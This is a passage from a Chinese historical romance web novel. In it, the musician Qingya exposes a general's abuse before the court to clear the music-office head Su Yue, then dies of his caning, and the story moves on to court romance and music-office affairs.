抬抬眼,她裹着泪说:“多谢你?刚才袒护我,但我觉得你?是皇帝,不能代我受刑,连说都不该说,有损君威。” 皇帝说:“你?还挑眼起朕来?。朕知?道不好,可?又不能看着你?挨打。你?知?道殿外那些掌刑的?缇骑打人有多疼吗?他们不会装样子?,是实?打实?地打,五杖下去能把人打死。朕要是不护着你?,今日你?就回不了家了,朕娶亲这件事,岂不是又没着落了?” 什么时候都惦记娶亲,也只有他了。 苏月低头掖了掖眼泪,“我昨晚半夜找到颜在了,她是被青崖劫走的?,原本今日想着来?告诉你?的?,不想一早就被传上朝堂了。” 皇帝似乎并不意外,“深爱便想独占,朕理解他。” 怎么还理解上了?苏月纳罕地望望他,“我与颜在都觉得他是一时糊涂,不忍心追究,所以刚才没有提及他。可?前朝的?那些将领气势汹汹,我又觉得很?对不起你?,让你?高坐庙堂,骑虎难下。” 皇帝笑?了笑?,“知?道心疼朕了,朕很?欣慰。” 似乎多严重的?事,到了他口中威势就削弱成了零星一点。她还是内疚的?,枯着眉道:“你?原本好好做着皇帝,人生一帆风顺,若是没有认识我,就不会增添那么多的?烦恼了。” 皇帝安慰人的?手法向?来?与众不同,他说:“正因为?一帆风顺,朕想吃吃爱情的?苦,不行么?” 苏月忘了哭,纳闷地看了他半晌,最后垂头丧气地说:“我要回去禁足了,就此别过陛下。” 她拖着乏累的?步子?往回走,皇帝叫了她一声,“明日就要过大?礼了,你?禁了足,这礼还怎么过?” 她回头望了他一眼,没有说话,慢慢朝殿门上去了。 皇帝没有得到她的?答复,顿时有些迷惘,心里自然记恨上了那些武将。原本那些人平时就有诸多恶习,他不过是念着刚开国,不便立时打压。如今变本加厉了,沆瀣一气向?他施压,最后竟害得他过不了礼,这梁子?算是结大?了。 那厢苏月惨淡地返回梨园,万里一直送她到官舍,和声开解她,“朝堂上暗潮汹涌,向?来?如此,娘子?不要往心里去。陛下并未收回您的?官职,禁足几日后自会解禁的?,暂且压下不提是为?您好,请娘子?稍安勿躁,静待佳音。” 苏月叹息着朝他欠了欠身,“劳烦总管了,我心里都明白。” 万里虽然很?为?难,但还是得依照章程,命人封住了直房的?门。 万里一走,颜在她们就赶来?了,站在窗口追问究竟怎么了,苏月说,“前朝的?官员弹劾我搜查了左翊卫将军府,险些把我革职。梨园的?事务交还太常寺暂管,我被禁足了,不知?要关多久。” 颜在听了,顿时哭起来?,“都是为?了我,把你?害成这样。我不能看你?被关在这里,如何能替你?脱罪,你?告诉我,我去想办法。” 苏月摇摇头,“前朝那些官员,借着这件事向?朝廷施压呢,想什么办法都没有用。我这阵子?怪忙的?,正好趁机好好睡两日,你?们不必为?我担心。接下来?含嘉城选拔乐工,及冬至祭天事宜,我恐怕赶不上了,就请你?们费费心,替我担待了吧。” 她简直像交代后事,弄得大?家一片惨淡。女郎能当上梨园使,是超出世俗范围的?壮举,朝中那些身居高位的?官员们不知?多看不过眼。终于这回被他们弹压下来?了,乐工们好不容易挺起的?脊梁,无形中又被打弯了。太常寺一旦接手,不消多久梨园又会故态复萌,先前的?豪情壮志还能维持多久,谁也不知?道。 也许是天气逐渐变冷的?缘故吧,苏月被禁了足,梨园中的?一切好像都蒙上了一层浓雾,昂扬的?激情一下子?消退了,大?家看上去都恹恹地。 掖庭中也一样,因苏月受了惩处,第二日的?过礼事宜只得延后,气得太后破口大?骂,“好不容易定?下的?亲事,就被那几个臭秋八给耽误了。前朝那些降将高官厚禄受用着,真当自己是有功之?臣,忘了当初明明是无路可?走转投门下的?,朝廷宽恤给与优待,他们倒成了太上皇了!” 皇帝安抚太后,“这笔账记下,日后慢慢清算,眼下不能过礼,不知?又要拖到几时。” 定?日子?还是重中之?重,太后急急把司天监的?人叫来?重排,说一月之?后上上大?吉,比今日更吉。唯一不好的?是要等,但事已至此,别无他法了。 太后便差珍珠傅姆亲去辜家致了歉,辜家也正因女郎的?遭遇烦心,还谈什么过不过礼。往后顺延一个月也好,总归把眼前的?麻烦事解决了,才好安安心心地定?亲。 朝堂上的?皇帝倒是沉得住气的?,照旧如常处置公?务。这日正商议杂税的?减免,忽然听见几重宫门外,传来?了咚咚的?鼓声。 满朝文武顿时意外,都知?道是有人在击登闻鼓。端门之?外的?登闻鼓,是吏民向?皇帝伸冤最直接的?途径,可?以扣击,但越诉后果不是一般人能承受的?。那面大?鼓设在鼓台上,一向?是形同虚设,却没想到今日居然被人擂响了。 皇帝放下了手中的?陈条,放眼望向?御道。 乾阳门上不久便出现了奏事官的?身影,压着帽子?,跑得脚下生烟,急急往大?殿上来?了。 第62章 第 62 章 奏事官入殿后?行礼禀报, “端门之外,乐府监叩阍上书,为梨园使讼辩。” 朝堂上的百官都向上望去, 人人知道?陛下与梨园使的关系, 这回来了个为梨园使申辩的人, 陛下恐怕没有不召见的道?理吧! 然而入殿叩阍,是如此简单就能面见君王的吗?民?间越级的控诉尚且要遭杖刑, 更?别提未入流的小吏面圣申冤了。众人都想看?一看?陛下是如何处置的,便直直望着上首, 等待陛下的裁断。 皇帝轻蹙了下眉, “面圣之前?先受杖责,依照律法行事,把人带到武安殿前?行刑。” 但奏事官又带了击鼓人的陈情来, “乐府监有所求, 入殿之前?受刑, 唯恐破坏证据,待面圣之后?, 甘愿领罚。” 皇帝自然不是不知变通的人,青崖的遭遇,他?早就从?苏月口中得知一二了, 因此便应了声准, 命奏事官把人带上大殿。 少年郎美貌耀眼?, 走到哪里都如一道?光。他?穿着乐府特有的锦绣公服,头上的幞头是墨青的绸缎做成,愈发衬出了雪白的面孔, 精致的眉眼?。 走上前?,他?拱手行礼, “卑下嬴青崖,叩谒皇帝陛下。” 朝堂上的官员们斜了斜眼?,眼?里带着不遮不掩的轻蔑。这是深深刻在骨子里的成见,讥嘲以色侍人的玩物,都长着这么一副不正经的模样。 王侯将相们私下亵玩时,可以饶有兴致,但与他?一同站在大殿上,却感觉受到了莫大的羞辱。以他?为中心的方圆一丈之内寸草不生,仿佛和他?站得近一点,都会沾染上他?身上的低贱。 青崖呢,并不在意那些官员的反应,他?来自有他?的目的。他?知道?小吏击登闻鼓会是怎样悲惨的下场,反正是抱着必死的决心了,别人的眼?光对他?来说?不值一提。 皇帝也是第?一次留意这少年郎,很佩服他?的义气和胆量。但朝堂上晤对的时间有限,得抓住一切机会,用最简短的话,澄清最多的事实。便出言问他?:“你击鼓鸣冤所为何事,如实道?来。” 青崖说?:“卑下为梨园使辜大人鸣冤,辜大人夜查将军府,并非无的放矢,辜大人高义,为保全卑下隐瞒前?情,但卑下不能对辜大人所受冤屈视若无睹。左翊卫将军彭雍曾垂涎乐师朱娘子,要求朱娘子夜间独自赴宴。朱娘子年少,不敢前?往,卑下与朱娘子交好,便自作主张顶替了她。朝中的大人们以为朱娘子未曾赴约,彭将军轻轻揭过宽宏大量,其实都错了。彭将军没有追究,不过是因卑下舍身,与彭将军做了交易。” 朝堂上的官员们半是好奇,半是质疑,“信口雌黄诬陷朝廷命官,其罪当诛。” 青崖凉笑了下,“可惜彭将军不在朝堂,否则卑下倒很愿意与将军核对一番,他?在我这残破身躯上留下的痕迹。”说?罢向上作揖,“请陛下恕卑下大不敬之罪。”一面解开鸾带,脱下了身上的衣裳。 那精美的华服一层层扔在脚下,像蛇蜕去了外皮。到最后?他?的身体暴露在众目睽睽之下,才发现本该如他?的脸庞一样完美的躯体,竟是一副令人骇然的惨况。深深浅浅的瘢痕遍布每一处,浑身上下几乎找不到几块好皮肉。恐怖狰狞的新伤叠加着旧伤,再?看?他?完美无瑕的脸,忽然让人觉得恐惧,仿佛脑袋和身体属于不同的两个人,用了什么妖魔的手段,才强行拼凑在一起的。 “这处是用烛签、这处是用钩刀……”他?低着头,像局外人一样,向朝堂上的君臣介绍自己身上的伤,“卑下的大腿内侧,还有铁浮屠烙下的印记,若有人不信,取彭将军的兵器来比对,一比便知。” 上首的皇帝看?出了恻隐之心,摆手道?:“穿上吧,朕和诸位大人都看?见了。” 青崖俯俯身,从?容不迫地?重新把衣裳都穿了回去。 这些原本不为人知的秘密,暴露在大庭广众之下,对他?来说?诚如死过一回般。但他?已然不在乎了,耻辱和痛苦这些年如影随形,他?早就学会了咬牙消化。反正已经是烂命一条,还有什么豁不出去的。 “不知如此自证,够不够?”他?双眼?灼灼扫视朝堂上的众人,“辜大人是否有充足的证据,怀疑彭将军会对朱娘子不利?” 满朝文?武支支吾吾,皇帝的脸色前?所未有地?阴沉,咬牙道?:“朕的朝堂上,竟窝藏着此等禽兽不如的畜生,可见朕这皇帝当得不称职。着令,罢免彭雍左翊卫将军之职,交大理寺彻查,与他?有同等恶行的人,一个不许放过。我大梁立国不单注重官员办事的能力,更?注重操守品行,容这等丧心病狂之徒继续立足庙堂,是朕与诸位臣工之耻,是大梁王朝之耻!” 青崖松开了紧握的手,掌心有凉风吹过,高悬的心徐徐落了下来。 终于,一步一步,计划好的一切,都按照他的愿望实现了。他心里很明白,若是事先没有惊动皇帝,就算击了登闻鼓,也没有机会走上乾阳殿。颜在也好,苏月也罢,所有人都不明白他?为什么忽然做出那样的事,为什么……因为他爱慕颜在是真的,担心她被人抢走是真的,想把她永远留在身边也是真的,但除此之外,他?还有更?深层的,不为人知的私心。 改朝换代,国仇与他?无关,但他有家恨。当年彭雍及他的党羽曾对嬴家诸多迫害,本以为前?朝覆灭,他?们会跟着尸骨无存,却没想到这帮人见风使舵,到了新朝照旧风生水起。 他?不甘心,恨恶人没有报应,这些年如同困兽般技穷,始终无法报仇。到最后?认清了,以自己的能力撼动不了降将集团,所以他?谋划藏匿颜在,利用苏月牵扯上彭雍,进而促使皇帝痛下决心……固然处心积虑,愧对那些关心他?的人,但要问是否后?悔,并不后?悔。他?尽力了,下了阴曹地?府,可以笑着去见爹娘和阿姐了。 一切因他?而起,现在一切也该由他?来平息。轻舒一口气,他?复又向上拱手,“敢问陛下,梨园使是否能得赦免?” 皇帝调转目光,望向了左侧的宰辅与尚书省官员,“朕亦不知该不该赦免梨园使,还请诸位大人赐教?。” 宰相俞庭昭与众人交换了眼?色,举着笏板恭顺地?回禀,“梨园使此举虽冒进,但确实事出有因。既然如此,请陛下赦免其罪,为梨园使正名。” 青崖听?完这番话,脸上终于露出了笑意,“卑下要说?的话都说?完了,越诉叩阍,甘愿自领杖责。愿陛下千秋万代,金瓯永固,卑下纵然身死,亦感激陛下成全之恩。” 他?行过礼,毫不犹豫地?转身朝殿外去了。国法严明,皇帝也不能破例,只好暗中示意万里,知会行刑的缇骑手下留情。 朝堂上作下的决定,很快就传到了梨园,国用专门跑了一趟,解除苏月的禁令,另把重新过礼的时间告知她,笑道?:“这下总算平安无事了,奴婢已命人去府上报信了,让辜翁及夫人尽早放心。” 苏月不知道?外面发生的种种,自己被关在官舍里好几天,除了改曲就是睡觉,忽然听?说?解了禁,还有些不明所以。 “陛下又明目张胆徇私了吗?话到了御史台的嘴里,恐怕不太好听?。” 国用说?不是,“这是朝堂上议准的事,是宰相亲口上奏陛下的。”但要说?原因,着实不忍说?出口,因此含含糊糊,试图搪塞。 苏月还是听?出端倪来了,不住追问到底怎么回事,“上次朝会,那些文?臣武将恨不能把我踩进泥里,这回忽然转变,定是有内情。究竟是什么原因,请班领告诉我,你若不说?,我只有去问陛下了。” 国用没办法,只得据实告知她,“就是那位青崖小郎君……他?击登闻鼓告御状,当着满朝文?武把衣裳脱了,浑身伤痕累累,这才让那些官员们改了口。陛下已经下令严惩彭雍了,但吏民?越诉击登闻鼓触犯律法,不免要受杖责。缇骑在武安殿前?行刑,下手尽量轻了,监刑官打一下数三下,至多挨了二十板子吧。不过到底还是伤了身,最后?走不得路,让人抬回乐府了。” 恰好这时颜在进门,前?因后?果?都听?在耳里。苏月抬眼?望过去,见她白着脸,一副失魂落魄的样子。自己心里的震动自然也大,有时觉得青崖这人充满了悲剧色彩,他?走的每一步都是极致的,如飞蛾扑火,刹那绽放逼人的华彩。 “这孩子……”苏月深深叹息,“让我不知该如何是好。” 国用道?:“娘子不必担心,陛下已经命太医过去诊治了,若身底子好,将养几日就会痊愈的。” 但他?的身底子并不好,病态病容是骗不了人的,苏月看?在眼?里,不知怎么总有隐约的忧心,怕他?活不长,怕他?哪天忽然就死了。 只是这话不能说?,太不吉利。国用走后?,她无言地?望望颜在,颜在一直怔忡着,回不过神来。 隔了良久才听?她喃喃:“ 果?真出了事,到底不能坐视不理。我还得去瞧瞧他?,现在就去。” 苏月抓过斗篷披上,一面道?:“我同你一起去。他?击登闻鼓鸣冤是为了替我脱罪,无论如何我也得去看?看?他? 。” 事到如今,谁是谁非不用再?说?了,就算一切因他?而起,他?以这种悲壮的方式自证,也让人彻根彻底地?心疼。 命人预备马车,两个人急急赶往协律坊,到了官舍前?,正好遇见几位乐府官员,正陪同太医迈出门槛。 苏月上前?询问青崖的伤情,太医说?:“乐监原本就带着病症,如今病中又添新伤,很是不利啊。须得仔细调理,若运势好能调理过来,运势不好,恐怕有性命之虞,要早作准备。” 这话让人措手不及,颜在惊惶道?:“他?还年轻,早前?也没听?说?他?有什么病症。求太医救救他?吧,用上好的药,若需额外的用度我有,不必省钱,只求能医好他?就行。” 太医道?:“已经用了上好的药,陛下派我来,可不就是为了治好他?吗。可药再?好,也得看?他?的身子能否经受得住,倘或年轻能扛住,也就顺利保全性命了。” 总之没说?一定会死,那就是还有希望。待进去看?望,见他?趴在床上,面如金纸,气色实在是很不好,当下心头便一惊。 大概是听?见脚步声了,他?迟迟睁开眼?望了望,哑声说?:“你们来了……来看?我……” 颜在勉强挤出一点笑容,“你好好养着,我哪儿都不去了,留下来照顾你。” 可他?却艰难地?摇头,“不要,你回去。” “是怕我看?见你的伤处?”沉重的话不敢说?,颜在刻意换了个轻快的语调,“我阿兄连生了两个儿子,从?小都是我帮着换尿布的。屁股谁还没有呢,小郎君不必害羞。” 青崖听?了,终于笑出来,尖尖的小虎牙,透着一股少年人青涩的羞怯。他?仍是眷恋颜在的,既然她说?要留下,他?便没有再?推辞。 苏月上前?来看?望他?,轻声说?:“你不该去击登闻鼓的,击鼓触犯律法,你不知道?么?” 青崖启了启唇,本想把实情告诉她们,可话到嘴边,还是咽了下去。 就当他?自私吧,陈年旧事不要再?回味了,自作自受才是他?最好的下场。于是轻喘了口气道?:“我自己闯下的祸,连累了阿姐,我羞于为人。梨园不能回到太常寺手里,阿姐你得继续做梨园使,保护好梨园的乐工们。” 苏月鼻子一阵发酸,又怕在他?面前?失态,咬着唇用力点了点头。 颜在对苏月道?:“我得告几日假,等他?好些了再?回去,恐怕会耽误霜降日的乐工选拔。” 苏月说?不要紧,“人手多得很,你只管安心留下吧。若是缺什么,就派人回去传话,我即刻给你送来。” 颜在说?好,便在青崖病榻前?坐下来,和声问他?要不要吃点什么,要不要喝点水。 他?们缓声说?着话,青崖就算没有气力,也尽量地?与颜在搭讪,仿佛怕停顿一会儿,颜在就走开了。 苏月心里有些难过,同颜在打了声招呼,让青崖好好将养着,便独自回圆璧城了。 一时官舍内只余他?们两个人,青崖隔一会儿就睁开眼?看?看?颜在,人在眼?前?,心里就说?不出地?熨帖,甚至笑道?:“早知道?病得要死了,就能留下你,我该早些病的。” 颜在很怕听?到他?说?丧气话,“年纪轻轻,什么死不死的。陛下跟前?的班领去解苏月的禁时,向她透露过,陛下命人手下留情了,五十杖只打了小一半,你的伤情不算太重,死不了的,放心吧。” 人走到末路,其实对自己的命运看?得很透彻,能再?活几日,心里是明白的。可她这么安慰自己,不能让她伤心,他?顺着她的话头“嗯”了声,“我受刑的时候,自己数着数呢,一共挨了十七板子。打得也不算重,否则我不能活着回来,也见不到你了。” 颜在看?着他?的脸,心里的悲戚无法言喻,唯一能做的就是尽心地?照顾他?。 那十七板子虽然没往死里打,但落到身上是实打实的。后?来替他?换药,见皮肉表面没有破开,皮下却蓄着一汪浑浊的水。就像头一年的柿子没来得及采摘,到了第?二年春不至于霉烂,但里面早就腐朽了,变质了,不敢上手去触碰。 如今的青崖就是这样,除了笞杖的伤,她也发现了一些陈年的瘢痕,不必去仔问,就知道?是多年之前?留下的。 颜在眼?里裹着泪,换药的时候手在颤抖,好在青崖看?不见,只是轻轻吸着气,说?疼。 “好了好了……”她尽力安抚他?,“一日比一日有起色,再?过两天就痊愈了。” 可是后?来青崖连疼都不怎么喊了,人很快地?消瘦下来,问颜在:“我能仰卧么?总这么趴着,我看?不见你的脸。” 颜在就和仆妇合力,把他?翻转过来,他?躺定后?一笑,“总算能喘上气了。我这两日胸口憋闷得很,脖子也快僵了……颜在,我身上一点都不疼了,可能真的好起来了。” 颜在没有照顾病人的经验,他?说?不疼了,她就真的以为他?向好了。欢欢喜喜说?:“我让伙房给你炖个肘花汤,吃了好补身子。” 青崖没有拒绝,她说?吃这吃那的时候,自己也确实馋了。心想着填饱肚子有了力气,说?不定真的能和命运挣一挣。 外面的天气,已经变得很冷了,窗口有光斜照,正好打在他?的书案上。他?曼声和她说?起小时候的事,说?自己是家中最小的儿郎,是爹娘盼了许久的老来子。 “族中所有亲眷都有儿子,只我爹娘没有,在族人面前?总是抬不起头来。他?们都说?我阿爹为人太刚直,以前?办的案子杀人无数,伤了阴骘才绝后?,说?得我阿娘大哭了一场。后?来夜里做梦,梦见神人送了她一把笛子,不久后?就怀上了我。”他?浮起一个无奈地?笑,“我就是那把笛子,命中早就注定我将来要传扬音声的。可惜我入的是前?朝的梨园,如果?晚上几年,那该多好。” 已经造成的伤害无法避免,颜在尽力开解他?,“以前?的事,咱们不去想了,好不好?记着高兴的,把不好的都忘了,才能更?好地?活下去。” 青崖缓缓转动眼?眸,浓密的眼?睫在眼?下投出两排阴影,点头说?好,“不去想了。不过昨晚我做了个梦,梦见两位阿姐来看?我了,她们有说?有笑的,并不凄苦,应当在那边过得很好。可是她们来看?我,是不是要接我走?一家人去那边团聚,其实也挺好的。” 颜在心里直打鼓,忙阻止了他?的念头,“我们老家说?身体欠佳,火气不旺的时候,会梦见已经过世?的亲人。等到身体养好了,阴气近不了身了,就再?也梦不见了。”边说?边退下自己手上的镯子,戴到他?的手腕上,“用金压一压,金子能辟邪,不信今晚再?试试,定是梦不见了。” 他?抬手发笑,“我又不是女?郎,还戴这个。” 颜在说?:“借给你,等你病好了,一定要还给我。” 他?慢慢点头,“到时候加倍还你,我要给你买首饰,买很多很多的首饰。” 颜在脸上笑着,心却忍不住下坠落,总觉得预兆不太好,今天的青崖,好像和平时不太一样了。 后?来肘花汤炖好了,送到他?面前?,他?只喝了一口就喝不下了。煎好的药也不愿意再?喝,微喘着说?:“我咽不下去,嗓子里有东西堵住了。” 颜在很害怕,让人请太医过来看?,太医看?后?神色难辨,却说?脉相平稳,一切安好,睡一觉就会有起色的。 等到把人送到门外,太医才回身同她说?:“要留神,不大好。” 颜在愣了愣,半晌才点头,让虾儿送太医出官舍。 站在落日余晖下,她心乱如麻,头一件就是让人回圆璧城给苏月报信,请她尽快过来一起拿主意。 苏月赶来的时候,再?叫青崖,他?已经不再?回应了。呼吸声变得很沉重,又深又长。 两个人相顾无言,唯有垂泪。乐府的乐丞等人得知消息后?,也在左右陪同着,到了将近半夜,青崖已近弥留,气也是进少出多,有时杳杳地?,好像随时都会断了。 颜在哭不可遏,还记得第?一次见他?,他?白衣红绶坐在小部的乐童中间,回眸一笑惊为天人。这才过了大半年而已,忽然变成了这样,让人难以接受。 乐丞看?情况不太对劲,回身对她们说?:“娘子暂避吧,这里有我们照应。” 可颜在和苏月谁都没想走,木木地?站在那里,无措地?迎接即将扑面而来的现实。 床前?站立的人弓腰探了又探,最终拽起被褥,盖住了青崖的脸,一切都结束了。他?的生命短暂而浓艳,就像一株方外的花,用尽力气开过一夏,盛放时十里闻香,凋谢时迅捷安静。离开了,什么痕迹都没留下。 第63章 第 63 章 颜在转头问苏月:“青崖真的死了吗?” 苏月心头堵得慌, 沉默良久,方点?了点?头。 颜在哭起来,“都怪我, 如果他没有遇见我, 现在一定活得好好的。我是他命里的劫数, 是他的催命符……我怎么?对得起他……” 她哭得气哽,几乎要?厥过去, 苏月只得搀住她,把她带进了前?面的厅堂里。 入夜后?的天气, 已经很?有些凉意了, 颜在歪在圈椅里,还?在喃喃自语,“如果左翊卫将军点?卯, 我自己去了, 是不是就不会发生现在的种种了, 青崖也不会死……” 苏月掖了眼泪安慰她,“他想保护你, 就算现在再问他,后?不后?悔这样做,他一定说不后?悔, 你又何必太自责呢。” 颜在听完, 复挣扎着站起来, “他的后?事怎么?办?他没有亲人,恐怕没人为?他操办。” 她要?往外走,苏月忙拽住了她, “乐府的官员过世,衙门会一力操持的。你放心, 我托付过府令和乐丞,由他们安排人更衣小殓。我们等停了灵再过去,免得给他们添乱。” 协律坊有专门用作停灵的地方,这点?和梨园不一样。梨园因在宫城中,乐工离世须得拉到外面的安乐堂去。乐府的规制比梨园高,那些早与家乡亲人断绝了联系的乐师和乐官,由衙门出资予以善后?,因此倒是不用把人运走,整理好后?抬到灵堂就行了。 那厢杂役进来,禀报已经收拾妥当了,她们深一脚浅一脚跟着过去,进了小小的灵堂,人已经放在箦床上,乐丞询问贵重的物件可要?摘下来,颜在明白,说的是她那个随身?戴了很?多年?的镯子。 摇摇头,她说:“让他带走吧,陪他最后?一程。” 派出去置办棺椁的人很?快回来了,这里一切从简,就算是停灵,也不像寻常人家能?停上好多天。基本是头一日走的,第二日下半晌就发送,毕竟衙门里人员众多,不能?大操大办坏了规矩,往后?不好驭下。 棺木一到,就要?预备大殓了,颜在还?有些不敢置信,“不再等等吗?万一他只是一时昏厥了呢?” 乐丞说不会,“小殓的时候让人仔细勘验过,心窝凉了,手脚也发僵了。人死不能?复生,娘子节哀吧。” 两个人听了,又狠狠哭了一场,直到盖棺钉钉,才终于?接受这个现实,那个曾经无比鲜活的生命,如今已经不在了。 原本协律坊内是不能?诵经的,但因苏月在,府令破例请来两个和尚超度他。 颜在跪在火盆前?烧化纸钱,喋喋说着,“青崖,你找见家里人了吗?一定要?找到他们,和家里人团聚啊。所有的苦,今生都吃完了,剩下的都是欢喜。来生你会托生在一个好人家,一辈子吃穿不愁,福禄双全。你还?会有一段好姻缘,长命百岁,活到儿孙满堂……” 一切美好的祈愿,今生不能?实现,只能?寄希望于?来世。 到了第二日发送,嬴家的祖坟又不知在哪里。前?朝时期一团乱麻,他们全家获罪,亲人大抵都在乱葬岗吧。只得让人看过风水,点?了个吉穴葬下,盼他转世投胎,不要?再像今生这样凄苦了。 赶在太阳落山之前?返回圆璧城,一路上颜在虚弱地靠着苏月,人还?有些浑浑噩噩地,“青崖就这么?死了,真像做了一场噩梦,醒不过来……” 苏月抚了抚她的肩头,“吃了太多的苦,平时看着挺好,其实早就油尽灯枯了。我想,他活在世上也许只能?感觉到痛苦,死了未必不是一种解脱。只是很?多机缘巧合凑成了这个结果,好像人人都不清白,我们所有人,对他的死都有责任。” 善良的人习惯自我反省,不善的人事事理所当然。果真有错么?,其实谈不上,只是过不去自己心里的坎儿,越想越觉得他的人生过于?凄凉。 可日子还?得继续,青崖引发的这场风波,在一片锥心之痛里,逐渐地消散了。 苏月继续忙于?梨园的事物,霜降这日,一大清早在含嘉城安置好了场地,等着报名的乐人前?来应试。 手上有人员名单,逐一轮番考核,检验他们识谱弹曲的能?力。这些人中有琴技上佳的,也有滥竽充数的,半天下来只挑出了七人,其中就有苏云。 只不过临要?结束时,仓东门上传话进来,说还?有许多没赶上报名的,问能?不能?给个应试的机会。然而没有核对过身?份,随意招募会乱了章程。犹豫间派人去询问来历,结果发现半数是风月场上的女?郎。 乐官们都有些发懵,不知怎么?会吸引了这些女郎。有人觉得她们可能?是真的爱音声,也有人觉得她们是急于?摆脱现下身处的环境。毕竟一入梨园,娼户就自动消除了,相较之下梨园更体?面,又有俸禄,这才一窝蜂地涌进来。 太乐令有他的考虑,“并非我瞧不上这些女?郎,实在是风月场上有诸多不好的习性,恐怕会带坏梨园的风气。以前乐工们人人自危,唯恐受达官显贵狎辱,若是引入了那些女?郎,她们借着乐工的名头主动卖弄风情、兜售皮肉,届时该怎么?办?况且梨园如今并不缺人手,还?是稳妥为?上,别再招惹麻烦了。” 苏月也觉得言之有理,多一事不如少?一事,等到将来时机成熟了,再作尝试吧。 所以今日从民间招募所得的,最后?核定是七人,七人都编入了银台院。苏月没想立时让苏云做前?头人,还?是觉得她的技艺需要?磨砺,等练上三个月再作调度不迟。结果皇帝的委任是来得真快,他坚定地兑现了他的承诺,一道口谕,让苏云当上了巡查使。 这个职务对苏云来说相当不错,既入了梨园,又能?随时回家。所谓的入园年?限简直形同虚设,还?有什么?道理不踏踏实实地干,将来接过阿姐的衣钵? 晚间姐妹俩在官舍说话,苏月仔细向?她交代巡查的路径和时间,这时虚掩的门轻轻被推开了,苏月知道,必是那个人来了。 果然,苏云扭头一看,立时站了起来,恭敬地叉手行礼,“陛下。” 苏月只得跟着作揖,“这么?晚了,陛下怎么?来了?” 皇帝舒展着眉目道:“朕忙完了手上的政务,想起好几日没见辜大人了,特来看看。”一面和蔼地问苏云,“巡查使的差事,二娘子觉得怎么?样?” 苏云说极好,“卑下借着陛下的光,刚入园就有官做,卑下一定用心办差,绝不辜负陛下的希望。” 皇帝说好,“女?郎有志向?,他日前?途不可限量。”说完才提及他最关心的问题,问苏月,“梨园官舍众多,你们不会挤在一间屋子里吧?” 苏月咧嘴,苏云孺子可教?,马上就意会了,忙说没有,“我有自己的官舍,离阿姐还?有些远,不会无缘无故打搅阿姐,也不会听见任何风吹草动,请陛下放心。” 皇帝很?满意,愈发器重苏云了。辜家那兄弟三人,论识时务、有眼色,加在一起都不及苏云,看来自己的眼光没出错,她实在是继任梨园使的好根苗。 而苏云呢,把握时机把自己的知情识趣发挥到了最佳,掖着手说:“阿姐该交代的都交代妥当了,我就先?回去了。要?是有不明白,明日再向?阿姐讨教?。”说完迅速离开了。 苏月看着苏云走远的身?影感慨:“阿妹好像一夕之间长大了。” 皇帝顺着她的视线目送,“朕也觉得她很?懂事。” 苏月方才想起问他,“陛下漏夜找我,可有要?事?” “有。”他说着,从袖袋里掏出一张请柬递给她,“裴忌要?成亲了,你去不去?” 苏月迟迟接过来,纳罕地嘀咕:“给我的请柬,怎么?在你那里?” 皇帝心道防止你贸然赴约,我命人在宫门上拦截的。虽然自己与她的婚事几乎半订了,但不是出了禁足那件事吗,又给延后?了一个月。这一个月,他还?得紧紧看住她,以防她生出歪心思,临时反悔。有时候想想,自己这皇帝在她面前?做得真憋屈,半点?没感受到统天御宇的快乐,反倒小心翼翼唯恐她再次拒婚。就像滑胎,有了第一次或许会有第二次,得仔细呵护着,杜绝一切畸变的可能?。 但面子还?是得维护的,他撒起谎来脸不红心不跳,“朕五日一次召见驻军武将,今日裴将军来觐见,亲手交给朕的。他也听说了朕要?向?你家提亲的事,觉得你我已是自己人,交给朕就等于?交给你……你看裴将军多知礼,朕决定以后?继续重用他。” 苏月拱起了眉,展开请柬仔细查看,“这是裴将军亲笔吗,字迹很?是清秀啊。”边说边瞥了对面的皇帝一眼,故意拉长声调,“字如其人,难得难得。” 皇帝面沉似水,“朕觉得你很?善于?发现别人的长处,唯独不会发现朕的。朕想当初也是金戈铁马征战四方的战神,一手好字,比他强多了。且朕擅丹青,通音律,等有空还?打算研习一下药学。这么?一个无可挑剔的好郎子在你面前?站着,我若是你,早就紧紧抱住不撒手了,还?有这闲心夸赞别的男子!” 苏月听了他的控诉,无奈地冲他笑了笑。 他又不乐意了,“你这笑是什么?意思?难道不认同?” 苏月说没有,“我觉得陛下说得对。” 如此敷衍,令他生气,“你嘴上说对,暗中腹诽,朕看得明明白白。” 她头疼起来,“你怎的如此难哄?见缝插针夸一下别人,不是起码的礼数吗,难道让我捧着人家的请柬,絮絮叨叨说‘这字写得虽好,还?是不及我家大郎。我家大郎文韬武略,样样精通,成个亲又怎么?样,不去’?” 啊,她说“我家大郎”,这种不经意流露出来的真情实感,才是沁人心脾,令人神往的啊! 他果然抿唇笑起来,志得意满呼之欲出,先?前?的些微不快,已经烟消云散了。 潇洒地一拂袍子坐下来,他随口追问一句,“裴府相邀,你去是不去?” 苏月说去啊,“人家请帖都送来了,不去岂不是太拿乔了。” 可皇帝并不希望她去,毕竟自己不便驾临,她一个人赴宴,万一遇上了不稳妥的人和事,那该如何是好? 他不说话,苏月便察觉他又在不痛快了,转头觑了觑他,“陛下觉得我不该赴宴?” “倒也不是。”他一手在桌上迷茫地画着圈,“朕只是在想,该以什么?方式陪你去。朕这身?份,随意参加臣子的婚宴不好,打乱了人家的婚仪不说,满朝文武那么?多人,将来谁家娶亲朕都得参加,否则就是厚此薄彼,岂不是给自己找事吗。” 苏月说那就别陪,“我自己去,吃个席便回来,用不了多少?工夫的。”顿了顿又感慨,“这裴将军果然与一般官员不同,他家办喜事,竟然没有邀约梨园助兴,怕是满上都独一份的高朗了,清流啊!” 皇帝散淡地接了口,“可能?是舍不得赏钱吧。不是说诸多门户放赏仍是很?可观吗,他节俭,想减免花销而已。” 反正他就是针对人家,鸡蛋里都能?挑出骨头来。苏月说要?独自前?往,那是断然不能?够的,他想了想道:“那日朕陪你一起去,朕不进门,在马车里等着你。你吃个半饱,赶紧出来,朕可以带你上夜市逛逛,采买一些你喜欢的小东西。” 苏月犹豫不决,“那怎么?行,我在里头吃席,你在外面饿肚子,简直是欺君。再说一场宴席少?说得半个时辰,我中途离席,恐怕不大好。” 皇帝说有什么?不好,“就说梨园中忽然有急事要?处置,随意找个借口便辞出来了,这还?用朕教?你?”见她神情松动,知道这事谈妥了,转而又来问她,“裴忌要?成亲了,你心里可觉得惆怅?” 苏月这才发现,自己手拿着裴忌的婚宴请帖,情绪竟连半点?波动都没有。满心全在盘算时间,到了那日该怎么?安排梨园事务,怎么?抽出空闲来赴宴。 